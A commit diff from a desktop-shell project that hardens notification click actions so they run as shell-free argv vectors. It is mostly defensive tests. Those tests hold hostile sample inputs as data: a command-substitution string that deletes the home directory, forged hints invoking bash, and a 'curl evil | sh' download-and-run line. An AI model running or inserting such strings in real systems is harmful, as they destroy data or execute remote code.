Run notification click actions as safe argv (backport of #7926)
Backport of the notification click-command hardening (PR #7926, merged to
quattro as 43bfe9b9) onto the v4-0-1 release branch. Click actions are argv
vectors run without a shell, omarchy-notification-send calls the Notify D-Bus
method directly via busctl instead of notify-send, and --exec takes the command
as rest-of-line words. Excludes docs/notifications.md, which does not exist on
v4-0-1.
This commit is contained in:
1 parent
f2a2973de8
commit
286b8c2b1c
28 files changed
+494
-184
No files matched your search
@@ -18,10 +18,12 @@ mkdir -p "$(dirname "$hook_path")"
|
||||
cat >"$test_bin/omarchy-notification-send" <<'EOF'
|
||||
#!/bin/bash
|
||||
echo notification >>"$TEST_LOG"
|
||||
exec_args=()
|
||||
while (($# > 0)); do
|
||||
[[ $1 == "--exec" ]] && echo "exec:$2" >>"$TEST_LOG"
|
||||
if [[ $1 == "--exec" ]]; then shift; exec_args=("$@"); break; fi
|
||||
shift
|
||||
done
|
||||
((${#exec_args[@]})) && echo "exec:${exec_args[*]}" >>"$TEST_LOG"
|
||||
EOF
|
||||
chmod +x "$test_bin/omarchy-notification-send"
|
||||
|
||||
|
||||
@@ -9,7 +9,6 @@ raw_command_checks=$(rg -l 'command -v' "$ROOT/bin" \
|
||||
[[ -z $raw_command_checks ]] || fail "bin commands use command helpers" "$raw_command_checks"
|
||||
pass "bin commands use command helpers"
|
||||
|
||||
raw_notifications=$(rg -l -P '^[[:space:]]*[^#[:space:]].*\bnotify-send\b' "$ROOT/bin" \
|
||||
| rg -v '/omarchy-notification-send$' || true)
|
||||
[[ -z $raw_notifications ]] || fail "bin commands use the notification helper" "$raw_notifications"
|
||||
raw_notifications=$(rg -l -P '^[[:space:]]*[^#[:space:]].*\bnotify-send\b' "$ROOT/bin" || true)
|
||||
[[ -z $raw_notifications ]] || fail "bin commands use the notification helper, never notify-send" "$raw_notifications"
|
||||
pass "bin commands use the notification helper"
|
||||
@@ -120,26 +120,20 @@ forged_title=$(host_fn decode_title '"Clip\nOMARCHY_FILE\tPlay me\t--include=not
|
||||
pass "yt-dlp native host keeps only the readable part of a forged title"
|
||||
|
||||
host_fn decode_title '"--include=not-a-file"' &&
|
||||
fail "yt-dlp native host refuses a title notify-send would read as an option"
|
||||
pass "yt-dlp native host refuses a title notify-send would read as an option"
|
||||
fail "yt-dlp native host refuses a leading-dash title the notifier would reject as an option"
|
||||
pass "yt-dlp native host refuses a leading-dash title the notifier would reject as an option"
|
||||
|
||||
host_fn decode_title 'null' &&
|
||||
fail "yt-dlp native host refuses a title that is not a JSON string"
|
||||
pass "yt-dlp native host refuses a title that is not a JSON string"
|
||||
|
||||
dash_title=$(host_fn title_from_file "$download_dir/--include.mp4")
|
||||
[[ $dash_title == "Video" ]] || fail "yt-dlp native host does not pass a leading-dash title to notify-send" "$dash_title"
|
||||
pass "yt-dlp native host does not pass a leading-dash title to notify-send"
|
||||
[[ $dash_title == "Video" ]] || fail "yt-dlp native host does not pass a leading-dash title to the notifier" "$dash_title"
|
||||
pass "yt-dlp native host does not pass a leading-dash title to the notifier"
|
||||
|
||||
cmd=$(host_fn playback_command --include=not-a-file)
|
||||
[[ $cmd == "mpv -- --include=not-a-file" ]] ||
|
||||
fail "yt-dlp native host runs mpv with -- before the path" "$cmd"
|
||||
pass "yt-dlp native host runs mpv with -- before the path"
|
||||
|
||||
spaced_cmd=$(host_fn playback_command "$download_dir/a b.mp4")
|
||||
[[ $spaced_cmd == "mpv -- $download_dir/a\\ b.mp4" ]] ||
|
||||
fail "yt-dlp native host shell-quotes the mpv path" "$spaced_cmd"
|
||||
pass "yt-dlp native host shell-quotes the mpv path"
|
||||
# The click action passes the path as a discrete --exec argument (asserted
|
||||
# end-to-end below against the real download); `--` keeps mpv from parsing a
|
||||
# leading-dash filename as an option.
|
||||
|
||||
parse_script="$TMPDIR/parse-ytdlp-lines.sh"
|
||||
cat >"$parse_script" <<'EOF'
|
||||
|
||||
@@ -31,10 +31,12 @@ chmod +x "$test_bin/omarchy-hw-fingerprint"
|
||||
cat >"$test_bin/omarchy-notification-send" <<'EOF'
|
||||
#!/bin/bash
|
||||
echo notification >>"$TEST_LOG"
|
||||
exec_args=()
|
||||
while (($# > 0)); do
|
||||
[[ $1 == "--exec" ]] && echo "exec:$2" >>"$TEST_LOG"
|
||||
if [[ $1 == "--exec" ]]; then shift; exec_args=("$@"); break; fi
|
||||
shift
|
||||
done
|
||||
((${#exec_args[@]})) && echo "exec:${exec_args[*]}" >>"$TEST_LOG"
|
||||
EOF
|
||||
chmod +x "$test_bin/omarchy-notification-send"
|
||||
|
||||
|
||||
@@ -160,6 +160,7 @@ run_notify 1 >/dev/null 2>&1
|
||||
notify_args_written || fail "migration notifier sends the notification before exiting"
|
||||
grep -Fx -- '--exec' "$test_tmp/notify-args" >/dev/null ||
|
||||
fail "migration notifier attaches the click command to the toast"
|
||||
grep -Fx 'omarchy-launch-floating-terminal-with-presentation omarchy-migrate' "$test_tmp/notify-args" >/dev/null ||
|
||||
grep -Fx 'omarchy-launch-floating-terminal-with-presentation' "$test_tmp/notify-args" >/dev/null &&
|
||||
grep -Fx 'omarchy-migrate' "$test_tmp/notify-args" >/dev/null ||
|
||||
fail "migration notifier points the click command at omarchy-migrate"
|
||||
pass "migration notifier lets the shell own the click instead of waiting for it"
|
||||
@@ -7,45 +7,193 @@ source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh"
|
||||
tmpdir=$(mktemp -d)
|
||||
trap 'rm -rf "$tmpdir"' EXIT
|
||||
|
||||
stub="$tmpdir/notify-send"
|
||||
args_file="$tmpdir/args"
|
||||
|
||||
# Stub the D-Bus transport: record the Notify call verbatim and echo a returned
|
||||
# id the way busctl prints a UINT32 return ("u <id>").
|
||||
printf '%s\n' \
|
||||
'#!/bin/bash' \
|
||||
'printf "%s\n" "$@" >"$OMARCHY_TEST_NOTIFY_ARGS"' \
|
||||
>"$stub"
|
||||
chmod +x "$stub"
|
||||
'printf "%s\n" "$@" >"$OMARCHY_TEST_BUSCTL_ARGS"' \
|
||||
'echo "u 42"' \
|
||||
>"$tmpdir/busctl"
|
||||
chmod +x "$tmpdir/busctl"
|
||||
|
||||
OMARCHY_TEST_NOTIFY_ARGS="$args_file" PATH="$tmpdir:$ROOT/bin:$PATH" \
|
||||
omarchy-notification-send --app-name custom-app -g K -u critical --image /tmp/image.png \
|
||||
--exec "omarchy-menu-keybindings 'a b'" "Learn Keybindings" "Body"
|
||||
# notify-send must never be used. If anything reaches for it, fail loudly.
|
||||
printf '%s\n' '#!/bin/bash' 'echo "notify-send was invoked" >"$OMARCHY_TEST_NOTIFY_TRIPWIRE"; exit 3' \
|
||||
>"$tmpdir/notify-send"
|
||||
chmod +x "$tmpdir/notify-send"
|
||||
tripwire="$tmpdir/notify-send-was-used"
|
||||
|
||||
mapfile -t args <"$args_file"
|
||||
send() {
|
||||
OMARCHY_TEST_BUSCTL_ARGS="$args_file" OMARCHY_TEST_NOTIFY_TRIPWIRE="$tripwire" \
|
||||
PATH="$tmpdir:$ROOT/bin:$PATH" omarchy-notification-send "$@"
|
||||
}
|
||||
|
||||
[[ ${args[0]} == "-a" ]] || fail "notification wrapper passes app flag"
|
||||
[[ ${args[1]} == "custom-app" ]] || fail "notification wrapper uses custom app name"
|
||||
[[ ${args[2]} == "-u" ]] || fail "notification wrapper passes urgency flag"
|
||||
[[ ${args[3]} == "critical" ]] || fail "notification wrapper uses custom urgency"
|
||||
[[ ${args[4]} == "--hint=string:omarchy-glyph:K" ]] || fail "notification wrapper converts glyph to hint"
|
||||
[[ ${args[5]} == "--hint=string:image-path:/tmp/image.png" ]] || fail "notification wrapper converts image to hint"
|
||||
[[ ${args[6]} == "--hint=string:omarchy-exec:omarchy-menu-keybindings 'a b'" ]] || fail "notification wrapper converts exec to hint"
|
||||
[[ ${args[7]} == "Learn Keybindings" ]] || fail "notification wrapper preserves headline"
|
||||
[[ ${args[8]} == "Body" ]] || fail "notification wrapper preserves description"
|
||||
pass "notification wrapper supports app, glyph, urgency, image, and exec options"
|
||||
# Notify(susssasa{sv}i) args, by position in the recorded busctl argv:
|
||||
# 0 --user 1 -- 2 call 3 dest 4 path 5 iface 6 Notify 7 signature
|
||||
# 8 app_name 9 replaces_id 10 app_icon 11 summary 12 body
|
||||
# 13 actions-count 14 hint-count 15.. hint triples last expire_timeout
|
||||
declare -a args
|
||||
load() { mapfile -t args <"$args_file"; }
|
||||
hint_count() { echo "${args[14]}"; }
|
||||
has_hint() { # key
|
||||
local i end=$((15 + 3 * ${args[14]}))
|
||||
for ((i = 15; i < end; i += 3)); do [[ ${args[i]} == "$1" ]] && return 0; done
|
||||
return 1
|
||||
}
|
||||
hint_value() { # key -> variant value
|
||||
local i end=$((15 + 3 * ${args[14]}))
|
||||
for ((i = 15; i < end; i += 3)); do [[ ${args[i]} == "$1" ]] && { echo "${args[i + 2]}"; return 0; }; done
|
||||
return 1
|
||||
}
|
||||
|
||||
# The shell runs the click command itself, so nothing may block the sender on a
|
||||
# libnotify action round-trip.
|
||||
grep -q -- "-A" "$args_file" && fail "notification wrapper must not register a libnotify action"
|
||||
# ---------------------------------------------------------------- happy path
|
||||
send --app-name custom-app -g K -u critical -i battery-caution -t 5000 \
|
||||
"Download complete" "A body" --exec mpv -- "/tmp/a b.mp4"
|
||||
load
|
||||
|
||||
[[ ${args[2]} == "call" ]] || fail "notification wrapper calls a bus method"
|
||||
[[ ${args[3]} == "org.freedesktop.Notifications" ]] || fail "notification wrapper targets the notifications service"
|
||||
[[ ${args[6]} == "Notify" ]] || fail "notification wrapper invokes Notify"
|
||||
[[ ${args[8]} == "custom-app" ]] || fail "notification wrapper sets the app name" "${args[8]}"
|
||||
[[ ${args[10]} == "battery-caution" ]] || fail "notification wrapper sets the app icon from -i" "${args[10]}"
|
||||
[[ ${args[11]} == "Download complete" ]] || fail "notification wrapper sets the summary" "${args[11]}"
|
||||
[[ ${args[12]} == "A body" ]] || fail "notification wrapper sets the body" "${args[12]}"
|
||||
[[ ${args[-1]} == "5000" ]] || fail "notification wrapper sets the expire timeout from -t" "${args[-1]}"
|
||||
[[ $(hint_value urgency) == "2" ]] || fail "notification wrapper maps critical urgency to 2"
|
||||
[[ $(hint_value omarchy-glyph) == "K" ]] || fail "notification wrapper sets the glyph hint"
|
||||
[[ $(hint_value omarchy-exec-argv) == '["mpv","--","/tmp/a b.mp4"]' ]] || fail "notification wrapper builds the click argv hint" "$(hint_value omarchy-exec-argv)"
|
||||
pass "notification wrapper issues a Notify call with app, icon, urgency, glyph, and click argv"
|
||||
|
||||
[[ -f $tripwire ]] && fail "notification wrapper must never invoke notify-send"
|
||||
pass "notification wrapper never invokes notify-send"
|
||||
|
||||
# Replace-in-place: -p prints the returned id, -r reuses it (the display text
|
||||
# size toast refreshes one notification instead of stacking a pile).
|
||||
returned_id=$(send "Restart Foot" -p)
|
||||
[[ $returned_id == "42" ]] || fail "notification wrapper prints the returned id with -p" "$returned_id"
|
||||
: >"$args_file"
|
||||
OMARCHY_TEST_NOTIFY_ARGS="$args_file" PATH="$tmpdir:$ROOT/bin:$PATH" \
|
||||
omarchy-notification-send "Plain" >/dev/null
|
||||
send -r 42 "Restart Foot" >/dev/null
|
||||
load
|
||||
[[ ${args[9]} == "42" ]] || fail "notification wrapper sets replaces_id from -r" "${args[9]}"
|
||||
pass "notification wrapper supports -p (print id) and -r (replace id)"
|
||||
|
||||
grep -q "omarchy-exec" "$args_file" && fail "notification wrapper adds no exec hint without --exec"
|
||||
pass "notification wrapper omits the exec hint when no command is given"
|
||||
# Options may follow the headline and description (Taildrop appends -u critical
|
||||
# and -g after the two positionals); they still land on the call, and urgency
|
||||
# stays a single hint rather than doubling.
|
||||
: >"$args_file"
|
||||
send "Received photo.png" "Saved to ~/Downloads" -u critical -g K >/dev/null
|
||||
load
|
||||
[[ ${args[11]} == "Received photo.png" ]] || fail "notification wrapper keeps the summary before trailing options" "${args[11]}"
|
||||
[[ ${args[12]} == "Saved to ~/Downloads" ]] || fail "notification wrapper keeps the body before trailing options" "${args[12]}"
|
||||
[[ $(hint_value urgency) == "2" ]] || fail "notification wrapper reads an urgency that follows the description" "$(hint_value urgency)"
|
||||
[[ $(hint_value omarchy-glyph) == "K" ]] || fail "notification wrapper reads a glyph that follows the description"
|
||||
urgency_hits=0
|
||||
for ((i = 15; i < 15 + 3 * ${args[14]}; i += 3)); do [[ ${args[i]} == urgency ]] && urgency_hits=$((urgency_hits + 1)); done
|
||||
((urgency_hits == 1)) || fail "notification wrapper sets the urgency once" "$urgency_hits"
|
||||
pass "notification wrapper reads options that follow the headline and description"
|
||||
|
||||
if OMARCHY_TEST_NOTIFY_ARGS="$args_file" PATH="$tmpdir:$ROOT/bin:$PATH" \
|
||||
omarchy-notification-send "Headline" --exec 2>/dev/null; then
|
||||
fail "notification wrapper rejects --exec without a command"
|
||||
# The --flag=value form works too (the acceptance suite uses --expire-time=15000).
|
||||
: >"$args_file"
|
||||
send "Acceptance" "Body" --expire-time=15000 >/dev/null
|
||||
load
|
||||
[[ ${args[-1]} == "15000" ]] || fail "notification wrapper accepts --flag=value" "${args[-1]}"
|
||||
[[ ${args[12]} == "Body" ]] || fail "notification wrapper keeps the body with an =value flag" "${args[12]}"
|
||||
pass "notification wrapper accepts the --flag=value form"
|
||||
|
||||
# ---------------------------------------------------------------- no click cmd
|
||||
: >"$args_file"
|
||||
send "Plain" >/dev/null
|
||||
load
|
||||
has_hint omarchy-exec-argv && fail "notification wrapper adds no click hint without --exec"
|
||||
[[ ${args[11]} == "Plain" ]] || fail "notification wrapper still sends a plain toast"
|
||||
pass "notification wrapper omits the click hint when no command is given"
|
||||
|
||||
# ------------------------------------------------ rest-of-line --exec is literal
|
||||
: >"$args_file"
|
||||
send "Download complete" --exec mpv -- '$(rm -rf ~); echo pwned' >/dev/null
|
||||
load
|
||||
json=$(hint_value omarchy-exec-argv)
|
||||
[[ $(jq -r '.[0]' <<<"$json") == "mpv" ]] || fail "click argv program is first"
|
||||
[[ $(jq -r '.[2]' <<<"$json") == '$(rm -rf ~); echo pwned' ]] || fail "click argv carries metacharacters as literal data" "$json"
|
||||
pass "rest-of-line --exec is a literal argv vector"
|
||||
|
||||
# A quoted argument with spaces stays ONE argument.
|
||||
: >"$args_file"
|
||||
send "Head" --exec mpv -- "/tmp/a b.mp4" >/dev/null
|
||||
load
|
||||
[[ $(jq 'length' <<<"$(hint_value omarchy-exec-argv)") == 3 ]] || fail "spaced path stays one argument"
|
||||
pass "notification wrapper keeps a spaced argument intact"
|
||||
|
||||
# ---------------------------------------------------------------- injections
|
||||
# A forged click hint arriving as the SUMMARY is a typed string parameter — it
|
||||
# can never become a hint. Only urgency is set; no click command exists.
|
||||
: >"$args_file"
|
||||
send '--hint=string:omarchy-exec-argv:["bash","-c","touch /tmp/pwn"]' "body" >/dev/null
|
||||
load
|
||||
has_hint omarchy-exec-argv && fail "a forged-hint headline must not set a click command"
|
||||
[[ ${args[11]} == '--hint=string:omarchy-exec-argv:["bash","-c","touch /tmp/pwn"]' ]] || fail "the forged headline is the summary text" "${args[11]}"
|
||||
pass "a forged click hint in the headline is inert summary text"
|
||||
|
||||
# A forged hint in description position is inert body text — a typed D-Bus
|
||||
# parameter that can never become a hint — not a click command.
|
||||
: >"$args_file"
|
||||
send "Update" '--hint=string:omarchy-exec-argv:["bash","-c","touch /tmp/pwn"]' >/dev/null
|
||||
load
|
||||
has_hint omarchy-exec-argv && fail "a forged-hint description must not set a click command"
|
||||
[[ ${args[12]} == '--hint=string:omarchy-exec-argv:["bash","-c","touch /tmp/pwn"]' ]] || fail "the forged description is the body text" "${args[12]}"
|
||||
pass "a forged click hint in the description is inert body text"
|
||||
|
||||
# A forged hint that reaches the trailing option position is refused: an unknown
|
||||
# option is a hard error, not a silent pass-through.
|
||||
if send "Head" "Body" '--hint=string:omarchy-exec-argv:["bash","-c","x"]' 2>/dev/null; then
|
||||
fail "a forged hint in option position must be refused"
|
||||
fi
|
||||
pass "notification wrapper rejects --exec without a command"
|
||||
if send "Head" "Body" --bogus 2>/dev/null; then
|
||||
fail "notification wrapper rejects an unknown option"
|
||||
fi
|
||||
pass "notification wrapper rejects an unknown option (including a forged hint in option position)"
|
||||
|
||||
# ---------------------------------------------------------------- --exec guards
|
||||
# --exec is recognized only after the positionals: a headline literally "--exec"
|
||||
# is text, and the real trailing --exec still wins.
|
||||
: >"$args_file"
|
||||
send "--exec" "a body" --image /tmp/i.png --exec mpv -- /tmp/v.mp4 >/dev/null
|
||||
load
|
||||
[[ $(hint_value omarchy-exec-argv) == '["mpv","--","/tmp/v.mp4"]' ]] || fail "a --exec-looking headline is not the delimiter" "$(hint_value omarchy-exec-argv)"
|
||||
[[ ${args[11]} == "--exec" ]] || fail "a --exec-looking headline is kept as text"
|
||||
pass "a --exec-looking positional is not treated as the delimiter"
|
||||
|
||||
# A single quoted whole-command is rejected (splitting it ourselves is the
|
||||
# injection we avoid).
|
||||
if send "Head" --exec "omarchy toggle something" 2>/dev/null; then
|
||||
fail "notification wrapper rejects a quoted whole command"
|
||||
fi
|
||||
pass "notification wrapper rejects a single quoted whole command"
|
||||
|
||||
# --exec with nothing after it is a usage error.
|
||||
if send "Head" --exec 2>/dev/null; then
|
||||
fail "notification wrapper rejects --exec with no command"
|
||||
fi
|
||||
pass "notification wrapper rejects --exec with no command"
|
||||
|
||||
# --exec with a single empty argument is rejected too.
|
||||
if send "Head" --exec "" 2>/dev/null; then
|
||||
fail "notification wrapper rejects --exec with an empty program"
|
||||
fi
|
||||
pass "notification wrapper rejects --exec with an empty program"
|
||||
|
||||
# A description that begins with a dash is content, not options: a price, a
|
||||
# negative number, a diff line. It must reach the body, not error out.
|
||||
: >"$args_file"
|
||||
send "Sale" "-50% off today" >/dev/null
|
||||
load
|
||||
[[ ${args[12]} == "-50% off today" ]] || fail "notification wrapper keeps a dash-leading body as text" "${args[12]}"
|
||||
pass "notification wrapper keeps a dash-leading description as the body"
|
||||
|
||||
# But a known flag in the description slot is still an option, not the body.
|
||||
: >"$args_file"
|
||||
send "Timed" -t 3000 >/dev/null
|
||||
load
|
||||
[[ ${args[12]} == "" && ${args[-1]} == "3000" ]] || fail "notification wrapper still parses a flag after the headline" "body=${args[12]} timeout=${args[-1]}"
|
||||
pass "notification wrapper still treats a known flag after the headline as an option"
|
||||
@@ -49,6 +49,38 @@ assert(!notifications.shouldBypassDnd({ appName: 'Slack', urgency: 2 }, 2), 'cri
|
||||
assert(!notifications.shouldBypassDnd({ appName: 'omarchy-menu-keybindings', urgency: 1 }, 2), 'omarchy command app names do not bypass DND')
|
||||
assert(!notifications.isEphemeralApp('omarchy-menu-keybindings'), 'notifications treat omarchy command app names as normal apps')
|
||||
|
||||
// The click action's argv form: parsed from the persisted omarchy-exec-argv
|
||||
// JSON only when it is a non-empty array of strings whose program is present
|
||||
// and not a leading-dash option. Everything else fails closed so a malformed or
|
||||
// hostile hint can never fall through to a shell.
|
||||
assertDeepEqual(
|
||||
notifications.parseExecArgv('["mpv","--","/home/me/a b.mp4"]'),
|
||||
['mpv', '--', '/home/me/a b.mp4'],
|
||||
'notifications parse a valid exec argv vector'
|
||||
)
|
||||
assertEqual(notifications.parseExecArgv(''), null, 'notifications reject an empty exec argv hint')
|
||||
assertEqual(notifications.parseExecArgv('not json'), null, 'notifications reject a non-JSON exec argv hint')
|
||||
assertEqual(notifications.parseExecArgv('"mpv"'), null, 'notifications reject an exec argv hint that is not an array')
|
||||
assertEqual(notifications.parseExecArgv('[]'), null, 'notifications reject an empty exec argv array')
|
||||
assertEqual(notifications.parseExecArgv('["mpv",5]'), null, 'notifications reject a non-string element in the exec argv')
|
||||
assertEqual(notifications.parseExecArgv('["--include=x","y"]'), null, 'notifications reject a leading-dash program in the exec argv')
|
||||
assertEqual(notifications.parseExecArgv('["",""]'), null, 'notifications reject an empty program in the exec argv')
|
||||
|
||||
// The argv vector rides on the snapshot as the raw JSON string, so the model's
|
||||
// value comparison stays a plain string compare and the file round-trip is
|
||||
// lossless.
|
||||
const execSnapshot = notifications.snapshotOf({
|
||||
id: 3,
|
||||
appName: 'omarchy-action',
|
||||
summary: 'Download complete',
|
||||
hints: { 'omarchy-exec-argv': '["mpv","--","/tmp/clip.mp4"]' }
|
||||
}, 1)
|
||||
assertEqual(
|
||||
execSnapshot.execArgv,
|
||||
'["mpv","--","/tmp/clip.mp4"]',
|
||||
'notifications carry the exec argv hint onto the snapshot'
|
||||
)
|
||||
|
||||
assertDeepEqual(
|
||||
notifications.popupPlacement('top', 32, 6),
|
||||
{
|
||||
@@ -353,38 +385,46 @@ assertEqual(
|
||||
'notifications omit the deadline field until a restore sets it'
|
||||
)
|
||||
|
||||
// A click action carried as a command is the only kind that survives a shell
|
||||
// The click action (an argv vector) is the only kind that survives a shell
|
||||
// restart: a libnotify action leaves its sender waiting on an id from a server
|
||||
// generation that no longer exists.
|
||||
assertEqual(
|
||||
notifications.snapshotOf({ id: 3, hints: { 'omarchy-exec': 'omarchy-menu-keybindings' } }, 1).exec,
|
||||
'omarchy-menu-keybindings',
|
||||
'notifications capture the click command from the exec hint'
|
||||
)
|
||||
assertEqual(
|
||||
notifications.snapshotOf({ id: 3, hints: { 'omarchy-glyph': '!' } }, 1).exec,
|
||||
notifications.snapshotOf({ id: 3, hints: { 'omarchy-glyph': '!' } }, 1).execArgv,
|
||||
'',
|
||||
'notifications leave the click command empty without an exec hint'
|
||||
'notifications leave the click command empty without an exec argv hint'
|
||||
)
|
||||
assertEqual(
|
||||
notifications.popupEntry(
|
||||
JSON.parse(notifications.serializePopup({ id: 1, originalId: 1, timestamp: 5, exec: "mpv '/tmp/a b.mp4'" }, 1)),
|
||||
JSON.parse(notifications.serializePopup({ id: 1, originalId: 1, timestamp: 5, execArgv: '["mpv","--","/tmp/a b.mp4"]' }, 1)),
|
||||
1
|
||||
).exec,
|
||||
"mpv '/tmp/a b.mp4'",
|
||||
'notifications round-trip the click command through popup files'
|
||||
).execArgv,
|
||||
'["mpv","--","/tmp/a b.mp4"]',
|
||||
'notifications round-trip the click argv through popup files'
|
||||
)
|
||||
assertEqual(
|
||||
notifications.popupEntry({ id: 1, originalId: 1, timestamp: 5 }, 1).exec,
|
||||
notifications.popupEntry({ id: 1, originalId: 1, timestamp: 5 }, 1).execArgv,
|
||||
'',
|
||||
'notifications restore an empty click command for popups without one'
|
||||
)
|
||||
assertEqual(
|
||||
notifications.historyEntry({ id: 1, exec: 'xdg-open /tmp/received' }, 1).exec,
|
||||
'xdg-open /tmp/received',
|
||||
'notifications keep the click command on history rows'
|
||||
notifications.historyEntry({ id: 1, execArgv: '["xdg-open","/tmp/received"]' }, 1).execArgv,
|
||||
'["xdg-open","/tmp/received"]',
|
||||
'notifications keep the click argv on history rows'
|
||||
)
|
||||
|
||||
// Upgrade fail-closed: a popup persisted by a pre-upgrade shell carried its
|
||||
// click action as an `exec` shell string. After the update-triggered shell
|
||||
// restart the new shell only honors execArgv, so a restored legacy popup keeps
|
||||
// displaying but its click is inert — deliberately, because splitting the old
|
||||
// shell string back into a command is exactly the injection being removed.
|
||||
const legacyRestored = notifications.parsePopupFiles(
|
||||
JSON.stringify({ id: 7, originalId: 7, timestamp: 9, summary: 'Legacy toast', exec: 'curl evil | sh' }),
|
||||
1
|
||||
)[0]
|
||||
assertEqual(legacyRestored.execArgv || '', '', 'a restored legacy exec shell string is not carried into execArgv')
|
||||
assert(!('exec' in legacyRestored), 'a restored legacy popup drops the old exec field')
|
||||
assertEqual(notifications.parseExecArgv(legacyRestored.execArgv || ''), null, 'a restored legacy popup has no runnable click action')
|
||||
|
||||
const serviceQml = fs.readFileSync(path.join(root, 'shell/plugins/notifications/Service.qml'), 'utf8')
|
||||
assert(
|
||||
/readonly property int historyLimit: 10/.test(serviceQml),
|
||||
@@ -527,8 +567,8 @@ assert(
|
||||
'notifications service delimits every popup file during restore'
|
||||
)
|
||||
assert(
|
||||
/var command = entry \? String\(entry\.exec \|\| ""\) : ""[\s\S]{0,300}?Util\.execDetached\(command\)/.test(serviceQml),
|
||||
'notifications service runs the popup click command itself instead of a libnotify action'
|
||||
/parseExecArgv\(entry \? entry\.execArgv : ""\)[\s\S]{0,200}?Util\.execArgv\(argv\)/.test(serviceQml),
|
||||
'notifications service runs the popup click argv itself instead of a libnotify action'
|
||||
)
|
||||
assert(
|
||||
/function clear\(\): string \{\s*service\.clearHistory\(\)/.test(serviceQml),
|
||||
|
||||
@@ -62,11 +62,12 @@ pass "taildrop receive announces other files with a glyph"
|
||||
|
||||
# The shell keeps the click command with the toast, so receiving does not have
|
||||
# to sit blocked on an answer -- and the toast still opens the file after a shell
|
||||
# restart. Names with spaces have to arrive quoted for the shell to run them.
|
||||
# restart. The path rides as its own discrete --exec argument, so the shell runs
|
||||
# it as literal data with no quoting for a name with spaces to get wrong.
|
||||
grep -qF -- "--exec xdg-open $downloads/photo.png" <<<"$notifications" ||
|
||||
fail "taildrop receive attaches the open command to the notification" "$notifications"
|
||||
grep -qF -- "--exec xdg-open $(printf %q "$downloads/notes with space.pdf")" <<<"$notifications" ||
|
||||
fail "taildrop receive quotes spaced names in the open command" "$notifications"
|
||||
grep -qF -- "--exec xdg-open $downloads/notes with space.pdf" <<<"$notifications" ||
|
||||
fail "taildrop receive carries spaced names as a literal open argument" "$notifications"
|
||||
pass "taildrop receive lets a click open the received file"
|
||||
|
||||
grep -q "unrelated.txt" <<<"$notifications" &&
|
||||
|
||||
@@ -18,10 +18,12 @@ mkdir -p "$(dirname "$hook_path")"
|
||||
cat >"$test_bin/omarchy-notification-send" <<'EOF'
|
||||
#!/bin/bash
|
||||
echo notification >>"$TEST_LOG"
|
||||
exec_args=()
|
||||
while (($# > 0)); do
|
||||
[[ $1 == "--exec" ]] && echo "exec:$2" >>"$TEST_LOG"
|
||||
if [[ $1 == "--exec" ]]; then shift; exec_args=("$@"); break; fi
|
||||
shift
|
||||
done
|
||||
((${#exec_args[@]})) && echo "exec:${exec_args[*]}" >>"$TEST_LOG"
|
||||
EOF
|
||||
chmod +x "$test_bin/omarchy-notification-send"
|
||||
|
||||
|
||||
Reference in new issue
Block a user